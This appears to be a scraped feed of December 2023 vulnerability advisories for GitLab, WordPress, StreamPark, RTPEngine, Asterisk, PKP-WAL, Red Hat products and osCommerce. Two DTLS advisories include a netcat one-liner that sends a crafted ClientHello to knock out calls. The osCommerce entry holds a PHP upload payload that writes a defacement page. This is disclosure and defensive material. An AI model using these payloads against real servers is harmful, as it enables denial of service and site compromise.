An issue has been discovered in GitLab EE affecting all versions starting before 16.4.4, all versions starting from 16.5 before 16.5.4, all versions starting from 16.6 before 16.6.2. It was possible to overflow the time spent on an issue that altered the details shown in the issue boards.

CVE-2023-3904

Server-Side Request Forgery (SSRF) vulnerability in Elegant Digital Solutions CommentLuv.This issue affects CommentLuv: from n/a through 3.0.4.



**Solution**

 No fix available

No patched version is available. No reply from the vendor.

Yuchen Ji discovered and reported this Server Side Request Forgery (SSRF) vulnerability in WordPress CommentLuv Plugin. This could allow a malicious actor to cause a website to execute website requests to an arbitrary domain of the attacker. This could allow a malicious actor to find sensitive information of other services running on the system. This vulnerability has not been known to be fixed yet.

**Other vulnerabilities in this plugin**

 1 present

 1 patched

View all

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-49159: WordPress CommentLuv plugin <= 3.0.4 - Server Side Request Forgery (SSRF) vulnerability - Patchstack

An issue has been discovered in GitLab EE affecting all versions starting from 8.17 before 16.4.4, all versions starting from 16.5 before 16.5.4, all versions starting from 16.6 before 16.6.2. It was possible for auditor users to fork and submit merge requests to private projects they're not a member of.

CVE-2023-3511

In the Streampark platform, when users log in to the system and use certain features, some pages provide a name-based fuzzy search, such as job names, role names, etc. The sql syntax :select * from table where jobName like '%jobName%'. However, the jobName field may receive illegal parameters, leading to SQL injection. This could potentially result in information leakage.

Mitigation:

Users are recommended to upgrade to version 2.1.2, which fixes the issue.



1. GitHub Advisory Database
2. GitHub Reviewed
3. CVE-2023-30867

**Apache StreamPark: Authenticated system users could trigger SQL injection vulnerability**

Critical severity GitHub Reviewed Published Dec 15, 2023 to the GitHub Advisory Database • Updated Dec 16, 2023

**Package**

maven org.apache.streampark:streampark (Maven)

**Affected versions**

\>= 2.0.0, < 2.1.2

In the Streampark platform, when users log in to the system and use certain features, some pages provide a name-based fuzzy search, such as job names, role names, etc. The sql syntax :select \* from table where jobName like '%jobName%'. However, the jobName field may receive illegal parameters, leading to SQL injection. This could potentially result in information leakage.

Mitigation:

Users are recommended to upgrade to version 2.1.2, which fixes the issue.

**References**

* https://nvd.nist.gov/vuln/detail/CVE-2023-30867
* https://lists.apache.org/thread/bhdzh6hnh04yyf3g203bbyvxryd720o2

Published to the GitHub Advisory Database

Dec 15, 2023

Last updated

Dec 16, 2023

GHSA-rrcg-jwr5-32g7: Apache StreamPark: Authenticated system users could trigger SQL injection vulnerability

RTPEngine version mr11.5.1.6 suffers from a denial of service vulnerability via DTLS Hello packets during call initiation.

# RTPEngine susceptible to Denial of Service via DTLS Hello packets during call initiation

- Fixed versions: mr12.1.1.2, mr12.0.1.3, mr11.5.1.16, mr10.5.6.3, mr10.5.6.2 
- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2023-03-rtpengine-dtls-hello-race 
- Vendor Patch: https://github.com/sipwise/rtpengine/commit/e969a79428ac4a15cdf1c0a1c6f266dbdc7e60b6 
- Tested vulnerable versions: mr11.5.1.6 
- Timeline: 
 - Report date: 2023-10-02 
 - Triaged: 2023-10-02 
 - Fix provided for testing: 2023-11-16 
 - Enable Security verified fix: 2023-12-14 
 - Vendor release with fix: 2023-12-14 
 - Enable Security advisory: 2023-12-15

## TL;DR

When handling DTLS-SRTP for media setup, RTPEngine is susceptible to Denial of Service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS encrypted calls during the attack.

## Description

Our research has shown that key establishment for Secure Real-time Transport Protocol (SRTP) using Datagram Transport Layer Security Extension (DTLS)[^1] is susceptible to a Denial of Service attack due to a race condition. If an attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the RTPEngine server that is expecting packets from the caller, the media session is torn down.

This behavior was tested against RTPEngine version mr11.5.1.6, which was found to be vulnerable to this issue.

The following sequence diagram shows the normal flow (i.e. no attack) involving SIP, STUN and DTLS messages between a UAC (the Caller), Kamailio and an RTPEngine server capable of handling WebRTC calls.

Diagram showing a call setup against RTPEngine that uses SIP, STUN and DTLS: 
https://github.com/EnableSecurity/advisories/raw/master/ES2023-03-rtpengine-dtls-hello-race/resources/valid.png

In a controlled experiment, it was observed that when the Attacker sent a DTLS ClientHello to RTPEngine's media port from a different IP and port, RTPEngine gave an internal error and did not process the call any longer.

Diagram showing a call setup against RTPEngine that fails due to an attacker controlled DTLS ClientHello: 
https://github.com/EnableSecurity/advisories/raw/master/ES2023-03-rtpengine-dtls-hello-race/resources/dos.png

During a real attack, the attacker would spray a vulnerable RTPEngine server with DTLS ClientHello messages. The attacker would typically target the range of UDP ports allocated for RTP. When the ClientHello message from the Attacker wins the race against an expected ClientHello from the Caller, RTPEngine terminates the media session resulting in Denial of Service.

The following log shows that RTPEngine resets the DTLS connection context:

``` 
DEBUG: [... port 39910]: [ice] Received ICE/STUN response code 0 for candidate pair TUk2hmDhRdEwbjA1:6249488300:1 from 192.168.1.202:56083 to 192.168.1.202 
DEBUG: [... port 39910]: [ice] Setting ICE candidate pair TUk2hmDhRdEwbjA1:6249488300:1 as succeeded 
DEBUG: [... port 39910]: [ice] Best succeeded ICE pair with all components is TUk2hmDhRdEwbjA1:6249488300:1 
DEBUG: [... port 39910]: [ice] ICE not completed yet, but can use pair TUk2hmDhRdEwbjA1:6249488300:1 
INFO: [... port 39910]: [ice] ICE negotiated: peer for component 1 is 192.168.1.202:56083 
INFO: [... port 39910]: [ice] ICE negotiated: local interface 192.168.1.202 
DEBUG: [... port 39910]: [srtp] Processing incoming DTLS packet 
ERR: [... port 39910]: [crypto] DTLS error: 1 (no shared cipher) 
ERR: [... port 39910]: [srtp] DTLS error on local port 39910 
DEBUG: [... port 39910]: [crypto] Resetting DTLS connection context 
```

## Impact

Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable RTPEngine servers for calls that rely on DTLS-SRTP. In practice, this results in all new calls appearing to be on mute.

## How to reproduce the issue

1. Run an RTPEngine instance with the following command:

 ```bash 
 rtpengine -f \ 
 --interface=<interface> \ 
 --listen-ng="<listen-ng>" \ 
 --pidfile=<pidfile> \ 
 --port-min=35000 \ 
 --port-max=40000 \ 
 --log-stderr \ 
 --log-level=10 
 ``` 
1. Run a Kamailio instance with the following configuration:

 ```bash 
 debug=2 
 log_stderror=yes

 memdbg=5 
 memlog=5

 log_facility=LOG_LOCAL0

 loadmodule "pv.so" 
 loadmodule "xlog.so" 
 loadmodule "rtpengine.so" 
 loadmodule "sl.so" 
 loadmodule "tm.so" 
 loadmodule "textops.so" 
 loadmodule "siputils.so"

 modparam("rtpengine", "rtpengine_sock", "udp:<listen-ng>")

 alias="<alias>"

 request_route { 
 xlog("L_INFO","$su\n");

 if ($rm == "INVITE") { 
 $avp(caller_source)="$si:$sp"; 
 }

 if ($avp(caller_source) == "$si:$sp") { 
 if ($rm == "INVITE") { 
 rewritehostport("192.168.1.202:9999"); 
 rtpengine_manage("replace-origin replace-session-connection pad-crypto RTP/SAVPF ICE=force");

 t_relay(); 
 } 
 break; 
 } else { 
 xlog("L_INFO","got a request from callee [$rm]\n"); 
 break; 
 } 
 }

 onreply_route{ 
 if ($avp(caller_source) != "$si:$sp") { 
 if (!is_request()) { 
 xlog("L_INFO","got a reply from callee [$rs $rr]\n"); 
 if has_body("application/sdp") { 
 rtpengine_manage("replace-origin replace-session-connection pad-crypto RTP/SAVPF ICE=force"); 
 } 
 } 
 exit; 
 } 
 } 
 ```

1. Send an INVITE message to Kamailio with WebRTC SDP:

 ```default 
 INVITE sip:1000@192.168.1.202 SIP/2.0 
 Via: SIP/2.0/WSS 192.168.1.202:36742;rport=36742;branch=z9hG4bK-jQcnXJadB2VGfGmQ 
 Max-Forwards: 70 
 From: <sip:1000@192.168.1.202>;tag=L9kc5NfpYG1u67cT 
 To: <sip:1000@192.168.1.202> 
 Contact: <sip:1000@192.168.1.202> 
 Call-ID: DzGnBLt0z9SK3MC0 
 CSeq: 5 INVITE 
 Content-Type: application/sdp 
 Content-Length: 385

 v=0 
 o=- 1695296331 1695296331 IN IP4 192.168.1.202 
 s=- 
 t=0 0 
 c=IN IP4 192.168.1.202 
 m=audio 45825 UDP/TLS/RTP/SAVPF 0 8 101 
 a=setup:active 
 a=fingerprint:sha-256 49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3 
 a=rtpmap:0 PCMU/8000/1 
 a=rtpmap:8 PCMA/8000/1 
 a=rtpmap:101 telephone-event/8000 
 a=rtcp-mux 
 a=rtcprsize 
 a=sendrecv 
 ``` 
1. Note RTPEngine's media port and IP values, which will be used as the `<rtpengine-ip>` and `<media-port>` parameters by the Attacker 
1. Send a DTLS ClientHello message from a (attacker-controlled) host, which is different from the Caller but has network access to the RTPEngine server

 ```bash 
 CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA" 
 CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H" 
 CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF" 
 CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF" 
 CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA=" 
 echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u <rtpengine-ip> <media-port> 
 ``` 
1. Observe that RTPEngine reports that the DTLS context has been reset

## Solution and recommendations

To address this vulnerability, upgrade RTPEngine to the latest version which includes the security fix. The solution implemented is to drop all packets from addresses that have not been validated by an ICE check.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

## Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.

[^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for the Secure Real-time Transport Protocol (SRTP) https://datatracker.ietf.org/doc/html/rfc5764

--

 Sandro Gauci, CEO at Enable Security GmbH

 Register of Companies: AG Charlottenburg HRB 173016 B 
 Company HQ: Neuburger Straße 101 b, 94036 Passau, Germany 
 RTCSec Newsletter: https://www.rtcsec.com/subscribe 
 Our blog: https://www.rtcsec.com 
 Other points of contact: https://www.enablesecurity.com/contact/

RTPEngine mr11.5.1.6 Denial Of Service

PKP Web Application Library (PKP-WAL) versions 3.4.0-3 and below, as used in Open Journal Systems (OJS), Open Monograph Press (OMP), and Open Preprint Systems (OPS) before versions 3.4.0-4 or 3.3.0-16, suffer from a NativeImportExportPlugin related remote code execution vulnerability.

---------------------------------------------------------------------------------PKP-WAL <= 3.4.0-3 (NativeImportExportPlugin) Remote Code ExecutionVulnerability---------------------------------------------------------------------------------[-] Software Links:https://pkp.sfu.cahttps://github.com/pkp/pkp-lib[-] Affected Versions:PKP Web Application Library (aka PKP-WAL or pkp-lib) version 3.4.0-3and prior versions, as used in Open Journal Systems (OJS), OpenMonograph Press (OMP), and Open Preprint Systems (OPS) before versions3.4.0-4 or 3.3.0-16.[-] Vulnerabilities Description:The vulnerability is located in the/plugins/importexport/native/filter/PKPNativeFilterHelper.php script.Specifically, into the"PKPNativeFilterHelper::parsePublicationCover()" method:100. public function parsePublicationCover($filter, $node, $object)101. {102. $deployment = $filter->getDeployment();103.104. $context = $deployment->getContext();105.106. $locale = $node->getAttribute('locale');107. if (empty($locale)) {108. $locale = $context->getPrimaryLocale();109. }110.111. $coverImagelocale = [];112. $coverImage = [];113.114. for ($n = $node->firstChild; $n !== null; $n = $n->nextSibling) {115. if ($n instanceof DOMElement) {116. switch ($n->tagName) {117. case 'cover_image':118. $coverImage['uploadName'] = $n->textContent;119. break;120. case 'cover_image_alt_text':121. $coverImage['altText'] = $n->textContent;122. break;123. case 'embed':124. $publicFileManager = new PublicFileManager();125. $filePath =$publicFileManager->getContextFilesPath($context->getId()) . '/' .$coverImage['uploadName'];126. file_put_contents($filePath,base64_decode($n->textContent));127. break;User input passed through the cover image tags of the import XML fileis not properly sanitized before being used at line 118 to construct avariable, which is later used as the final part of the filepath usedin a call to the file_put_contents() PHP function at line 126. Thiscan be exploited to write/overwrite arbitrary files on the web servervia Path Traversal sequences, leading to execution of arbitrary PHPcode.Successful exploitation of this vulnerability requires an account withpermissions to access the "Import/Export" plugin, such as a JournalEditor or Production Editor user.[-] Solution:Upgrade to version 3.4.0-4 or later.[-] Disclosure Timeline:[14/10/2023] - Vendor notified[26/10/2023] - Vendor fixed the issue and opened a public GitHubissue: https://github.com/pkp/pkp-lib/issues/9464[05/11/2023] - CVE identifier assigned[17/11/2023] - Version 3.4.0-4 released[14/12/2023] - Publication of this advisory[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has assigned the name CVE-2023-47271 to this vulnerability.[-] Credits:Vulnerability discovered by Egidio Romano.[-] Original Advisory:http://karmainsecurity.com/KIS-2023-14

PKP-WAL 3.4.0-3 Remote Code Execution

When handling DTLS-SRTP for media setup, Asterisk version 20.1.0 is susceptible to denial of service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack.

# Asterisk susceptible to Denial of Service via DTLS Hello packets during call initiation

- Fixed versions: 18.20.1, 20.5.1, 21.0.1,18.9-cert6 
- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2023-01-asterisk-dtls-hello-race 
- Vendor Security Advisory: https://github.com/asterisk/asterisk/security/advisories/GHSA-hxj9-xwr8-w8pq 
- Other references: CVE-2023-49786 
- Tested vulnerable versions: 20.1.0 
- Timeline: 
 - Report date: 2023-09-27 
 - Triaged: 2023-09-27 
 - Fix provided for testing: 2023-11-09 
 - Vendor release with fix: 2023-12-14 
 - Enable Security advisory: 2023-12-15

## TL;DR

When handling DTLS-SRTP for media setup, Asterisk is susceptible to Denial of Service due to a race condition in the hello handshake phase of the DTLS protocol. This attack can be done continuously, thus denying new DTLS-SRTP encrypted calls during the attack.

## Description

Our research has shown that key establishment for Secure Real-time Transport Protocol (SRTP) using Datagram Transport Layer Security Extension (DTLS)[^1] is susceptible to a Denial of Service attack due to a race condition. If an attacker manages to send a ClientHello DTLS message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the Asterisk server that is expecting packets from the caller, a DTLS error is generated. This results in the media session being torn down, which is followed by teardown at signaling (SIP) level too.

This behavior was tested against Asterisk version 20.1.0, which was found to be vulnerable to this issue.

The following sequence diagram shows the normal flow (i.e. no attack) involving SIP, STUN and DTLS messages between a UAC (the Caller) and an Asterisk server capable of handling WebRTC calls.

Diagram showing a call setup against Asterisk that uses SIP, STUN and DTLS: https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/valid.png

In a controlled experiment, it was observed that when the Attacker sent a DTLS ClientHello to Asterisk's media port from a different IP and port, Asterisk responded by sending a DTLS Alert to the Caller. Additionally, Asterisk terminated the SIP call by sending a BYE message to the Caller.

Diagram showing a call setup against Asterisk that fails due to an attacker controlled DTLS ClientHello: 
https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/dos.png

During a real attack, the attacker would spray a vulnerable Asterisk server with DTLS ClientHello messages. The attacker would typically target the range of UDP ports allocated for RTP. When the ClientHello message from the Attacker wins the race against an expected ClientHello from the Caller, the call terminates, resulting in Denial of Service.

## Impact

Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk servers for calls that rely on DTLS-SRTP.

## How to reproduce the issue

1. Prepare an Asterisk server with an extension configured to handle WebRTC; this may involve the following `pjsip.conf` and `extensions.conf` configuration updates:

 `pjsip.conf` 
 ```ini 
 [transport-tls-nat] 
 type = transport 
 protocol = wss 
 bind = 172.17.0.2

 [webrtc_client] 
 type=aor 
 max_contacts=5 
 remove_existing=yes

 [webrtc_client] 
 type=auth 
 auth_type=userpass 
 username=3456 
 password=3456

 [3456] 
 type=endpoint 
 aors=webrtc_client 
 auth=webrtc_client 
 dtls_auto_generate_cert=yes 
 webrtc=yes 
 context=default 
 disallow=all 
 allow=opus,ulaw 
 ```

 `extensions.conf` 
 ```ini 
 [globals]

 [default] 
 exten = _XXXX,1,Verbose(1, "User ${CALLERID(num)} dialed ${EXTEN}.") 
 same => n,Playback(demo-congrats) 
 same => n,Hangup() 
 ``` 
1. Send an INVITE message to the target server with WebRTC SDP:

 ```default 
 INVITE sip:1000@192.168.1.202 SIP/2.0 
 Via: SIP/2.0/WSS 192.168.1.202:36742;rport=36742;branch=z9hG4bK-4RHtimOzaIkHeUDU 
 Max-Forwards: 70 
 From: <sip:3456@192.168.1.202>;tag=cnbsc3nNX2ydugl4 
 To: <sip:1000@192.168.1.202> 
 Contact: <sip:3456@192.168.1.202> 
 Call-ID: VaglTzNRBSuvPPdw 
 CSeq: 5 INVITE 
 Content-Type: application/sdp 
 Content-Length: 563

 v=0 
 o=- 1695296401 1695296401 IN IP4 192.168.1.202 
 s=- 
 t=0 0 
 c=IN IP4 192.168.1.202 
 m=audio 36866 UDP/TLS/RTP/SAVPF 0 8 101 
 a=setup:active 
 a=fingerprint:sha-256 49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3 
 a=rtpmap:0 PCMU/8000/1 
 a=rtpmap:8 PCMA/8000/1 
 a=rtpmap:101 telephone-event/8000 
 a=ice-ufrag:IOZyOSQkVywevryI 
 a=ice-pwd:UQUtRMZKFERnmZqQdaggFzJBhcWVxabr 
 a=candidate:6249488300 1 udp 2130706431 192.168.1.202 36866 typ host generation 0 
 a=end-of-candidates 
 a=rtcp-mux 
 a=rtcprsize 
 a=sendrecv

 ``` 
1. Note Asterisk's media port and IP values, which will be used as the `<asterisk-ip>` and `<media-port>` parameters by the Attacker 
1. When the call has been established, send a STUN binding request which has the appropriate Username, Message-Integrity and Ice-Controlled properties 
1. When the Binding Success Response message is received, send a DTLS ClientHello message from a (attacker-controlled) host, which is different from the Caller but has network access to the Asterisk server

 ```bash 
 CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA" 
 CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H" 
 CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF" 
 CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF" 
 CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA=" 
 echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u <asterisk-ip> <media-port> 
 ``` 
1. Observe that the Caller receives a DTLS Alert message and a SIP BYE message on its signaling channel

Note that the above steps are used to reliably reproduce the vulnerability. In the case of a real attack, the attacker simply has to spray the Asterisk server with DTLS messages.

## Solution and recommendations

To address this vulnerability, upgrade Asterisk to the latest version which includes the security fix. The solution implemented is to drop all packets from addresses that have not been validated by an ICE check.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

## Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.

[^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for the Secure Real-time Transport Protocol (SRTP) https://datatracker.ietf.org/doc/html/rfc5764

--

 Sandro Gauci, CEO at Enable Security GmbH

 Register of Companies: AG Charlottenburg HRB 173016 B 
 Company HQ: Neuburger Straße 101 b, 94036 Passau, Germany 
 RTCSec Newsletter: https://www.rtcsec.com/subscribe 
 Our blog: https://www.rtcsec.com 
 Other points of contact: https://www.enablesecurity.com/contact/

Asterisk 20.1.0 Denial Of Service

Red Hat Security Advisory 2023-7857-03 - A new image is available for Red Hat Single Sign-On 7.6.6, running on OpenShift Container Platform 3.10 and 3.11, and 4.3. Issues addressed include bypass, cross site scripting, and denial of service vulnerabilities.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7857.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Red Hat Single Sign-On 7.6.6 for OpenShift image enhancement and security updateAdvisory ID:        RHSA-2023:7857-03Product:            Red Hat OpenShift EnterpriseAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:7857Issue date:         2023-12-14Revision:           03CVE Names:          CVE-2023-6134====================================================================Summary: A new image is available for Red Hat Single Sign-On 7.6.6, running on OpenShift Container Platform 3.10 and 3.11, and 4.3.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Red Hat Single Sign-On is an integrated sign-on solution, available as a Red Hat JBoss Middleware for OpenShift containerized image. The Red Hat Single Sign-On for OpenShift image provides an authentication server that you can use to log in centrally, log out, and register. You can also manage user accounts for web applications, mobile applications, and RESTful web services.This erratum releases a new image for Red Hat Single Sign-On 7.6.6 for use within the OpenShift Container Platform 3.10, OpenShift Container Platform 3.11, and OpenShift Container Platform 4.3 cloud computing Platform-as-a-Service (PaaS) for on-premise or private cloud deployments, aligning with the standalone product release.Security Fix(es):* keycloak: redirect_uri validation logic that allows for a bypass of otherwise explicitly allowed hosts (CVE-2023-6134)* keycloak: reflected XSS via wildcard in OIDC redirect_uri (CVE-2023-6291)* keycloak: offline session token DoS (CVE-2023-6563)For more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://raw.githubusercontent.com/jboss-container-images/redhat-sso-7-openshift-image/v7.6.6.GA/templates/${resource}CVEs:CVE-2023-6134References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2249673https://bugzilla.redhat.com/show_bug.cgi?id=2251407https://bugzilla.redhat.com/show_bug.cgi?id=2253308

Red Hat Security Advisory 2023-7857-03

Red Hat Security Advisory 2023-7851-03 - Updated Satellite 6.14 packages that fixes Important security bugs and several regular bugs are now available for Red Hat Satellite. Issues addressed include cross site scripting and local file inclusion vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_7851.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: Satellite 6.14.1 Async Security Update  
Advisory ID:        RHSA-2023:7851-03  
Product:            Red Hat Satellite 6  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:7851  
Issue date:         2023-12-14  
Revision:           03  
CVE Names:          CVE-2023-4886  
====================================================================

Summary: 

Updated Satellite 6.14 packages that fixes Important security bugs and several  
regular bugs are now available for Red Hat Satellite.

Description:

Red Hat Satellite is a system management solution that allows organizations  
to configure and maintain their systems without the necessity to provide  
public Internet access to their servers or other client systems. It  
performs provisioning and configuration management of predefined standard  
operating environments.

Security fix(es):

* rubygem-actionpack: actionpack: Possible XSS via User Supplied Values to redirect_to [rhn_satellite_6.14] (CVE-2023-28362)

* foreman: World readable file containing secrets [rhn_satellite_6.14] (CVE-2023-4886)

* python-urllib3: urllib3: Request body not stripped after redirect from 303 status changes request method to GET [rhn_satellite_6-default] (CVE-2023-45803 )

*  python-gitpython: GitPython: Blind local file inclusion [rhn_satellite_6-default] (CVE-2023-41040)

This update fixes the following bugs:

2250342 - REX job finished with exit code 0 but the script failed on client side due to no space.  
2250343 - Selinux denials are reported after following \"Chapter 13. Managing Custom File Type Content\" chapter step by step  
2250344 - Long running postgres threads during content-export  
2250345 - Upgrade django-import-export package to at least 3.1.0  
2250349 - After upstream repo switched to zst compression, Satellite 6.12.5.1 unable to sync  
2250350 - Slow generate applicability for Hosts with multiple modulestreams installed  
2250352 - Recalculate button for Errata is not available on Satellite 6.13/ Satellite 6.14 if no errata is present  
2250351 - Actions::ForemanLeapp::PreupgradeJob fails with null value in column \"preupgrade_report_id\" violates not-null constraint when run with non-admin user  
2251799 - REX Template for 'convert2rhel analyze' command  
2254085 - Getting '/usr/sbin/foreman-rake db:migrate' returned 1 instead of one of [0] ERROR while trying to upgrade Satellite 6.13 to 6.14   
2254080 - satellite-convert2rhel-toolkit rpm v1.0.0 in 6.14.z

Users of Red Hat Satellite are advised to upgrade to these updated  
packages, which fix these bugs.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-4886

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://access.redhat.com/documentation/en-us/red_hat_satellite/6.14/html/upgrading_red_hat_satellite_to_6.14/index  
https://bugzilla.redhat.com/show_bug.cgi?id=2217785  
https://bugzilla.redhat.com/show_bug.cgi?id=2230135  
https://bugzilla.redhat.com/show_bug.cgi?id=2246840  
https://bugzilla.redhat.com/show_bug.cgi?id=2247040  
https://bugzilla.redhat.com/show_bug.cgi?id=2250342  
https://bugzilla.redhat.com/show_bug.cgi?id=2250343  
https://bugzilla.redhat.com/show_bug.cgi?id=2250344  
https://bugzilla.redhat.com/show_bug.cgi?id=2250345  
https://bugzilla.redhat.com/show_bug.cgi?id=2250349  
https://bugzilla.redhat.com/show_bug.cgi?id=2250350  
https://bugzilla.redhat.com/show_bug.cgi?id=2250351  
https://bugzilla.redhat.com/show_bug.cgi?id=2250352  
https://bugzilla.redhat.com/show_bug.cgi?id=2251799  
https://bugzilla.redhat.com/show_bug.cgi?id=2254080  
https://bugzilla.redhat.com/show_bug.cgi?id=2254085

Red Hat Security Advisory 2023-7851-03

osCommerce version 4.13-60075 suffers from a remote shell upload vulnerability.

## Title: osCommerce 4.13-60075 File-Upload-RCE## Author: nu11secur1ty## Date: 12/14/2023## Vendor: https://www.oscommerce.com/## Software: https://www.oscommerce.com/download-file## Reference: https://portswigger.net/web-security/file-upload## Description:The parameter "icon-pencil" in the upload-file dz-clickable functionis vulnerable for File upload and Remote Code Execution then!The attacker easily can destroy this system if he is a kracker, greyhat, or some kind of stupid kid. More:{https://portswigger.net/web-security/file-upload}. In this scenario,I just uploaded a PHP exploit which created a second file directly onthe server and then I executed it DIRECTLY on theserver, by using just a browser. This can be executed with moremethods but we can talk about it later. =)STATUS: CRITICAL Vulnerability[+]Exploit:```<?php// @nu11secur1ty 2023$myfile = fopen("hacked.html", "w") or die("Unable to open file!");$txt = "You are hacked\n";fwrite($myfile, $txt);$txt = "This is not good for you\n<ahref='https://sell.sawbrokers.com/domain/malicious.com/'target='_blank'>Youcan visit our website for more information!</a>\n";fwrite($myfile, $txt);fclose($myfile);?>```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oscommerce.com/osCommerce-4.13-60075)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/12/oscommerce-413-60075-file-upload-rce.html)## Time spent:00:15:00

Tag

#git